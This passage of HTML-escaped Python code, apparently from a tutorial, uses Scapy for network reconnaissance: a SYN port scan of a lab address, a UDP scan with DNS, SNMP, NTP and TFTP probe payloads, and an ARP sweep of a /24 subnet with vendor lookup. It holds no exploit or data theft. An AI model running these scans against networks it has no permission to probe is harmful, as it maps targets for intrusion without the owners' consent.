&lt;span class="n"&gt;common_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;135&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;139&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;143&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;445&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3306&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5900&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;custom_syn_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.10.10.50&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;common_ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# ============================================================
# UDP OPERATIONS
# ============================================================
&lt;/span&gt;
&lt;span class="c1"&gt;# UDP scan with protocol-specific payloads
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;udp_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port_payloads&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    port_payloads = dict of {port: payload_bytes}
    Providing protocol-specific payloads dramatically improves accuracy
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;port_payloads&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;pkt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;UDP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;pkt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;UDP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sr1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open|filtered&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UDP&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;icmp_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;
            &lt;span class="n"&gt;icmp_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;icmp_type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;icmp_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;closed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# ICMP Port Unreachable
&lt;/span&gt;            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;filtered&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] UDP &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open|filtered&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[?] UDP &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;

&lt;span class="c1"&gt;# Protocol-specific UDP payloads
&lt;/span&gt;&lt;span class="n"&gt;udp_targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07&lt;/span&gt;&lt;span class="s"&gt;version&lt;/span&gt;&lt;span class="se"&gt;\x04&lt;/span&gt;&lt;span class="s"&gt;bind&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x10\x00\x03&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# DNS version query
&lt;/span&gt;    &lt;span class="mi"&gt;161&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x30\x26\x02\x01\x01\x04\x06&lt;/span&gt;&lt;span class="s"&gt;public&lt;/span&gt;&lt;span class="se"&gt;\xa0\x19\x02\x04\x71\xb4\xb5\x60\x02\x01\x00\x02\x01\x00\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01\x05\x00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# SNMPv2c GET
&lt;/span&gt;    &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x1b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# NTP client request
&lt;/span&gt;    &lt;span class="mi"&gt;69&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x00\x01&lt;/span&gt;&lt;span class="s"&gt;test.txt&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s"&gt;netascii&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# TFTP read request
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;udp_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.10.10.50&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;udp_targets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# ============================================================
# ARP OPERATIONS
# ============================================================
&lt;/span&gt;
&lt;span class="c1"&gt;# ARP scan of local network segment
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;arp_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Ether broadcast + ARP who-has
&lt;/span&gt;    &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ff:ff:ff:ff:ff:ff&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ARP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# srp() for Layer 2 (need Ethernet header for ARP)
&lt;/span&gt;    &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;srp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;ARP scan results for &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;IP Address&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;MAC Address&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Vendor Hint&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ARP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;psrc&lt;/span&gt;
        &lt;span class="n"&gt;mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;

        &lt;span class="c1"&gt;# OUI lookup (first 3 octets of MAC)
&lt;/span&gt;        &lt;span class="n"&gt;oui&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;vendor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;00:50:56&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;VMware&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;00:0C:29&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;VMware Workstation&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;08:00:27&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;VirtualBox&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;B8:27:EB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Raspberry Pi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;00:1A:A0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Dell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;00:1E:4F&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Dell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DC:A6:32&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Raspberry Pi 4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3C:D9:2B&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hewlett Packard&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AC:DE:48&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Apple&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oui&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vendor&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;vendor&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;vendor&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hosts&lt;/span&gt;

&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;arp_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.0/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
